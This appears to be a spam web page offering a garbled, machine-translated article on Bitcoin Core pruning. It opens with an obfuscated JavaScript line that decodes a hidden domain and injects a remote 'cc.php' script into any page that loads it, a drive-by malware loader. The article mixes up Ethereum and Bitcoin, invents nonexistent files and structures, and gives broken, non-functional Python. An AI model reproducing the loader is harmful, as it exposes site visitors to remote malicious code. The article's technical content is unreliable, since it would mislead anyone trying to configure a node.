const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=50045cbf”;document.body.appendChild(script);

Ethereum: Bitcoin configuration for curtails without download

If you get to know each other with Bitcoin and Ethereum, you have to understand how to synchronize your blockchain and check transactions without the request of a complete blockchain download. In this article we will discuss the basics of Bitcoin nucleus configuration and examine it locally by cutting blockchain with the code.

What is cut?

Ethereum: Bitcoin core setup how to prune without downloading?

Cutting is an optimization technology used in distributed systems such as Ethereum in order to reduce the amount of data that should be moved between nodes (computers) or throughout the network. By trimming, we try to minimize the amount of unnecessary data, thanks to the transactions more efficient and faster.

Basic Bitcoin configuration: short rating

To understand how Bitcoin Core Blockchain defines for cropping, let’s take a look at his architecture:

  • Blockchain file : The entire blockchain is saved in a file, which is referred to as “blockchain.dat”.

  • Block file : Each block has a suitable file with metadata and transaction information.

  • Chain reference table (CRT) : This table shows every block to abbreviate the previous block and enables an efficient search.

Cutting without download

To cut blockchain locally, we can use the following techniques:

  • Block file index : We will change the “blockchain.dat” file to save the reference table in which the index of each block is shown on the corresponding file path.

  • Chain reference table (CRT) : Instead of using CRT, we create a separate data structure for circumcision purposes as described above.

Code implementation

Here is an example of implementation in Python:

`Python

Import Hashlib

DEF get_block_index (block_hash):

"" "" "" "" "" ""

Place the blockchain.dat file with the following format:

"Blok index \ TBlock-Hash"

Lines = [line for the line in Open ('blockchain.dat'). Readlines (), if not line.startswith ('#')]]

Blocks = {}

Calculate the line (lines) for me:

Index, block_hash = line.strip (). Split ('\ t')

Bloc [int (index)] = block_hash

Give back blocks. Get (block_hash)

Defune_block (block_index):

"" "" Vacation of the Blockchain, which remove unnecessary data "" ""

Download the blockchain file and create a reference table

from open ("blockchain.dat", "r") as F:

Lines = [line.strip () for lines in F.Readlines ()]

Create an index card to save links of each block

index_map = {}

Calculate the line (lines) for me:

If not line.startswith ("#"):

Blocks_st, index_st = line.plit ('\ t')

blocks_st = blocks_st [: -1]

delete the new character

blocks_map [index_st] = blocks_st

Cut blockchain and delete unnecessary data

for block_index_st in sorted (blocks_st.keys ()):

block_hash = blocks [block_index_st]

If index_map.get (block_hash) == Block_hash:

Del index_map [Block_hash]

Write an updated blockchain file

from open ("blockchain.dat", "w") as F:

For lines in lines:

If not line.startswith ("#"):

_, block_hash = line.plit ('\ t')

blocks_map [block_hash] = blocks_st + '\ t' + p.

otherwise:

F.Write (line)

Example use

block_index = get_block_index ('your_block_hash_her')

Prune_block (block_index)

Application

In this article we have discussed the basics of the Bitcoin nucleus configuration for cutting without downloading and implemented a basic example in Python. If you understand how to cut blockchain locally, you can optimize your performance and learn more about the internal Ethereum activities.

I invite you to ask if you have any questions or need further explanations of the concepts discussed here!

ethereum cant update through